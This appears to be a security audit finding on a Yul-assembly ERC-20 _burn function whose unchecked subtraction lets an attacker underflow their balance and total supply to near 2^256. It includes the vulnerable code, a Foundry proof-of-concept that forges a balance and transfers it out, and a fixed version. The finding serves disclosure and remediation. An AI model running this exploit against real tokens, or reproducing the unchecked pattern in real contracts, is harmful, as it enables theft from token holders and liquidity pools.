Root + Impact
Description
This problem comes from the yul implementation of _burn which subtracts value from both _totalSupply and the target account balance with raw sub and zero validation.
function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
sstore(supplySlot, sub(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
sstore(accountBalanceSlot, sub(accountBalance, value))
}
}
Risk
An attacker simply calls it with a value greater than their actual balance (even with zero balance). The unchecked sub wraps around, raising both supply and the caller’s balance to near 2^256. Because the revert is never triggered, _burn emits no event and silently grants the attacker as many tokens as they want.
Impact
An attacker can mint ≈2^256 tokens, drain all liquidity pools, or break any accounting that assumes totalSupply() equals the sum of balances. This is a critical protocol takeover risk with no preconditions besides access to a burn path.
Proof of Concept
Deploy any ERC‑20 that inherits this ERC20 implementation; ensure it exposes a callable burn path (e.g., burn(uint256 value) or burn(address,uint256) that forwards to _burn).
The burn entry point forwards these parameters straight into _burn(account,value); no checks are performed before entering the yul routine.
Inside _burn, sstore(supplySlot, sub(supply, value)) executes first, so _totalSupply underflows and becomes type(uint256).max - value + supply, which equals type(uint256).max when supply was zero, effectively minting the attacker’s desired supply.
Attacker immediately calls transfer to move the forged balance into an exchange or liquidity pool and cashes out.
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract BurnUnderflowTest is Test {
Token private token;
address public attacker;
function setUp() public {
token = new Token();
attacker = makeAddr("attacker");
}
function test_burnUnderflowGivesAttackerFullSupply() public {
assertEq(token.totalSupply(), 0);
assertEq(token.balanceOf(attacker), 0);
vm.prank(attacker);
token.burn(attacker, 1);
uint256 forgedBalance = token.balanceOf(attacker);
assertEq(forgedBalance, type(uint256).max);
assertEq(token.totalSupply(), type(uint256).max);
address victim = makeAddr("victim");
vm.prank(attacker);
token.transfer(victim, 1 ether);
assertEq(token.balanceOf(victim), 1 ether);
assertEq(token.balanceOf(attacker), forgedBalance - 1 ether);
}
}
Recommended Mitigation
Before each subtraction in _burn, ensure value is not greater than the respective stored amount: load balance and supply, revert with ERC20InsufficientBalance/custom error if value > accountBalance or value > supply. Alternatively, implement _burn in Solidity so built-in checked arithmetic reverts on underflow.
@@
- let supply := sload(supplySlot)
- sstore(supplySlot, sub(supply, value))
+ let supply := sload(supplySlot)
+ if lt(supply, value) {
+ mstore(0x00, shl(224, 0xe450d38c)) // ERC20InsufficientBalance(address,uint256,uint256)
+ mstore(add(0x00, 4), account)
+ mstore(add(0x00, 0x24), supply)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+ sstore(supplySlot, sub(supply, value))
@@
- let accountBalanceSlot := keccak256(ptr, 0x40)
- let accountBalance := sload(accountBalanceSlot)
- sstore(accountBalanceSlot, sub(accountBalance, value))
+ let accountBalanceSlot := keccak256(ptr, 0x40)
+ let accountBalance := sload(accountBalanceSlot)
+ if lt(accountBalance, value) {
+ mstore(0x00, shl(224, 0xe450d38c))
+ mstore(add(0x00, 4), account)
+ mstore(add(0x00, 0x24), accountBalance)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+ sstore(accountBalanceSlot, sub(accountBalance, value))